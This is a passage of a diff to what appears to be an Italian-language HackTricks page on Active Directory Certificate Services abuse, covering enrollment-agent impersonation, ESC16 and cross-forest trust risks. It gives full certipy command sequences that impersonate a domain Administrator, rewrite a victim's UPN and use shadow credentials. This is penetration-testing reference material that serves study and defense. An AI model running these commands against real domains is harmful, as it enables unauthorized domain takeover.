'administrator.pfx' -dc-ip '10.0.0.100' -ldap-shell ``` #### Scenario B: PKINIT/Kerberos Impersonation via Enrollment Agent Abuse -**Step 1: Richiedere un certificato da un modello V1 (con "L'iscritto fornisce il soggetto"), iniettando la "Politica dell'Applicazione del Richiesta di Certificato".** Questo certificato è per l'attaccante (`attacker@corp.local`) per diventare un agente di iscrizione. Non viene specificato alcun UPN per l'identità dell'attaccante qui, poiché l'obiettivo è la capacità di agente. +**Passo 1: Richiedere un certificato da un V1 template (con "Enrollee supplies subject"), iniettando la Application Policy "Certificate Request Agent".** Questo certificato è per l'attacker (`attacker@corp.local`) per diventare un enrollment agent. Non viene specificato alcun UPN per l'identità dell'attacker qui, poiché l'obiettivo è la capacità di agent. ```bash certipy req \ -u 'attacker@corp.local' -p 'Passw0rd!' \ @@ -784,7 +802,7 @@ certipy req \ ``` - `-application-policies 'Certificate Request Agent'`: Inietta OID `1.3.6.1.4.1.311.20.2.1`. -**Passo 2: Usa il certificato "agent" per richiedere un certificato per conto di un utente privilegiato target.** Questo è un passo simile a ESC3, utilizzando il certificato del Passo 1 come certificato agent. +**Passo 2: Usa il certificato "agent" per richiedere un certificato per conto di un utente privilegiato target.** Questo è un passo ESC3-like, usando il certificato del Passo 1 come certificato agent. ```bash certipy req \ -u 'attacker@corp.local' -p 'Passw0rd!' \ @@ -792,52 +810,52 @@ certipy req \ -ca 'CORP-CA' -template 'User' \ -pfx 'attacker.pfx' -on-behalf-of 'CORP\Administrator' ``` -**Passo 3: Autenticati come utente privilegiato utilizzando il certificato "on-behalf-of".** +**Passo 3: Autenticarsi come l'utente privilegiato usando il certificato "on-behalf-of".** ```bash certipy auth -pfx 'administrator.pfx' -dc-ip '10.0.0.100' ``` -## Estensione di Sicurezza Disabilitata su CA (Globale)-ESC16 +## Estensione di sicurezza disabilitata sulla CA (globalmente)-ESC16 ### Spiegazione -**ESC16 (Elevazione dei Privilegi tramite Mancanza dell'Estensione szOID_NTDS_CA_SECURITY_EXT)** si riferisce allo scenario in cui, se la configurazione di AD CS non impone l'inclusione dell'estensione **szOID_NTDS_CA_SECURITY_EXT** in tutti i certificati, un attaccante può sfruttare questo aspetto: +**ESC16 (Elevation of Privilege via Missing szOID_NTDS_CA_SECURITY_EXT Extension)** si riferisce allo scenario in cui, se la configurazione di AD CS non impone l'inclusione dell'estensione **szOID_NTDS_CA_SECURITY_EXT** in tutti i certificati, un attaccante può sfruttare ciò tramite: -1. Richiedendo un certificato **senza binding SID**. +1. Richiedere un certificato **senza SID binding**. -2. Utilizzando questo certificato **per l'autenticazione come qualsiasi account**, come impersonare un account ad alto privilegio (ad es., un Amministratore di Dominio). +2. Usare questo certificato **per l'autenticazione come qualsiasi account**, ad esempio impersonando un account ad alto privilegio (es. un Amministratore di dominio). -Puoi anche fare riferimento a questo articolo per saperne di più sul principio dettagliato: https://medium.com/@muneebnawaz3849/ad-cs-esc16-misconfiguration-and-exploitation-9264e022a8c6 +Puoi anche consultare questo articolo per saperne di più sul principio dettagliato: https://medium.com/@muneebnawaz3849/ad-cs-esc16-misconfiguration-and-exploitation-9264e022a8c6 ### Abuso -Il seguente è riferito a [questo link](https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc16-security-extension-disabled-on-ca-globally), Clicca per vedere metodi di utilizzo più dettagliati. +Quanto segue fa riferimento a [questo link](https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc16-security-extension-disabled-on-ca-globally). Clicca per vedere metodi d'uso più dettagliati. -Per identificare se l'ambiente dei Servizi di Certificato di Active Directory (AD CS) è vulnerabile a **ESC16** +Per identificare se l'ambiente Active Directory Certificate Services (AD CS) è vulnerabile a **ESC16** ```bash certipy find -u 'attacker@corp.local' -p '' -dc-ip 10.0.0.100 -stdout -vulnerable ``` -**Passo 1: Leggi l'UPN iniziale dell'account vittima (Opzionale - per il ripristino).** +**Passo 1: Leggi l'UPN iniziale dell'account vittima (Opzionale - per il ripristino). ```bash certipy account \ -u 'attacker@corp.local' -p 'Passw0rd!' \ -dc-ip '10.0.0.100' -user 'victim' \ read ``` -**Passo 2: Aggiorna il UPN dell'account vittima con il `sAMAccountName` dell'amministratore target.** +**Passo 2: Aggiorna l'UPN dell'account della vittima con l'`sAMAccountName` dell'amministratore target.** ```bash certipy account \ -u 'attacker@corp.local' -p 'Passw0rd!' \ -dc-ip '10.0.0.100' -upn 'administrator' \ -user 'victim' update ``` -**Passo 3: (Se necessario) Ottenere le credenziali per l'account "vittima" (ad es., tramite Shadow Credentials).** +**Passo 3: (Se necessario) Ottenere le credenziali per l'account "victim" (ad es., tramite Shadow Credentials).** ```shell certipy shadow \ -u 'attacker@corp.local' -p 'Passw0rd!' \ -dc-ip '10.0.0.100' -account 'victim' \ auto ``` -**Passo 4: Richiedi un certificato come utente "vittima" da _qualsiasi modello di autenticazione client adatto_ (ad es., "Utente") sulla CA vulnerabile a ESC16.** Poiché la CA è vulnerabile a ESC16, ometterà automaticamente l'estensione di sicurezza SID dal certificato emesso, indipendentemente dalle impostazioni specifiche del modello per questa estensione. Imposta la variabile di ambiente della cache delle credenziali Kerberos (comando shell): +**Passaggio 4: Richiedi un certificato come utente "victim" da _qualsiasi template di autenticazione client adatto_ (es., "User") sulla CA vulnerabile a ESC16.** Poiché la CA è vulnerabile a ESC16, ometterà automaticamente l'estensione di sicurezza SID dal certificato emesso, indipendentemente dalle impostazioni specifiche del template per questa estensione. Imposta la variabile d'ambiente per il Kerberos credential cache (comando shell): ```bash export KRB5CCNAME=victim.ccache ``` @@ -848,35 +866,36 @@ certipy req \ -target 'CA.CORP.LOCAL' -ca 'CORP-CA' \ -template 'User' ``` -**Passo 5: Ripristina il UPN dell'account "vittima".** +**Passo 5: Ripristina l'UPN dell'account "victim".** ```bash certipy account \ -u 'attacker@corp.local' -p 'Passw0rd!' \ -dc-ip '10.0.0.100' -upn 'victim@corp.local' \ -user 'victim' update ``` -**Passo 6: Autenticati come amministratore di destinazione.** +**Passo 6: Autenticarsi come l'amministratore di destinazione.** ```bash certipy auth \ -dc-ip '10.0.0.100' -pfx 'administrator.pfx' \ -username 'administrator' -domain 'corp.local' ``` -## Compromissione delle Foreste con Certificati Spiegata in Voce Passiva +## Compromising Forests with Certificates Explained in Passive Voice -### Violazione dei Trust delle Foreste da CAs Compromessi +### Breaking of Forest Trusts by Compromised CAs -La configurazione per il **cross-forest enrollment** è relativamente semplice. Il **certificato CA radice** della foresta risorsa è **pubblicato alle foreste account** dagli amministratori, e i certificati **enterprise CA** della foresta risorsa sono **aggiunti ai contenitori `NTAuthCertificates` e AIA in ciascuna foresta account**. Per chiarire, questo accordo concede alla **CA nella foresta risorsa il controllo completo** su tutte le altre foreste per le quali gestisce la PKI. Se questa CA fosse **compromessa da attaccanti**, i certificati per tutti gli utenti sia nella foresta risorsa che in quella account potrebbero essere **falsificati da loro**, rompendo così il confine di sicurezza della foresta. +La configurazione per il **cross-forest enrollment** è resa relativamente semplice. Il **root CA certificate** dalla resource forest viene **pubblicato nelle account forests** dagli amministratori, e i certificati della **enterprise CA** dalla resource forest vengono **aggiunti ai contenitori `NTAuthCertificates` e AIA in ogni account forest**. Per chiarire, con questa disposizione viene concesso alla **CA nella resource forest il controllo completo** su tutte le altre foreste per le quali gestisce la PKI. Se questa CA venisse **compromessa dagli attacker**, i certificati per tutti gli utenti sia nella resource che nelle account forests potrebbero essere **falsificati da questi**, compromettendo così il perimetro di sicurezza della foresta. -### Privilegi di Iscrizione Concessi a Principali Stranieri +### Enrollment Privileges Granted to Foreign Principals -Negli ambienti multi-foresta, è necessaria cautela riguardo alle Enterprise CA che **pubblicano modelli di certificato** che consentono a **Authenticated Users o principali stranieri** (utenti/gruppi esterni alla foresta a cui appartiene l'Enterprise CA) **diritti di iscrizione e modifica**.\ -Dopo l'autenticazione attraverso un trust, il **SID degli Utenti Autenticati** viene aggiunto al token dell'utente da AD. Pertanto, se un dominio possiede un'Enterprise CA con un modello che **consente diritti di iscrizione agli Utenti Autenticati**, un modello potrebbe potenzialmente essere **iscritto da un utente di una foresta diversa**. Allo stesso modo, se **i diritti di iscrizione sono esplicitamente concessi a un principale straniero da un modello**, si crea così una **relazione di controllo accessi cross-forest**, consentendo a un principale di una foresta di **iscriversi a un modello di un'altra foresta**. +Negli ambienti multi-forest è richiesta cautela riguardo alle Enterprise CAs che **pubblicano certificate templates** che permettono a **Authenticated Users o foreign principals** (utenti/gruppi esterni alla foresta a cui appartiene l’Enterprise CA) i **diritti di enrollment e modifica**. Al momento dell’autenticazione attraverso un trust, l’**Authenticated Users SID** viene aggiunto al token dell’utente da AD. Pertanto, se un dominio possiede un’Enterprise CA con un template che **consente a Authenticated Users i diritti di enrollment**, un template potrebbe potenzialmente essere **enrolled da un utente di una foresta diversa**. Allo stesso modo, se i **diritti di enrollment sono esplicitamente concessi a un foreign principal da un template**, viene così creato un **cross-forest access-control relationship**, permettendo a un principal di una foresta di **enrollarsi in un template di un’altra foresta**. -Entrambi gli scenari portano a un **aumento della superficie di attacco** da una foresta all'altra. Le impostazioni del modello di certificato potrebbero essere sfruttate da un attaccante per ottenere privilegi aggiuntivi in un dominio straniero. +Entrambi gli scenari portano a un **aumento della attack surface** da una foresta all’altra. Le impostazioni del certificate template potrebbero essere sfruttate da un attacker per ottenere privilegi aggiuntivi in un dominio esterno. -## Riferimenti +## References - [Certify 2.0 – SpecterOps Blog](https://specterops.io/blog/2025/08/11/certify-2-0/) +- [GhostPack/Certify](https://github.com/GhostPack/Certify) +- [GhostPack/Rubeus](https://github.com/GhostPack/Rubeus) {{#include ../../../banners/hacktricks-training.md}}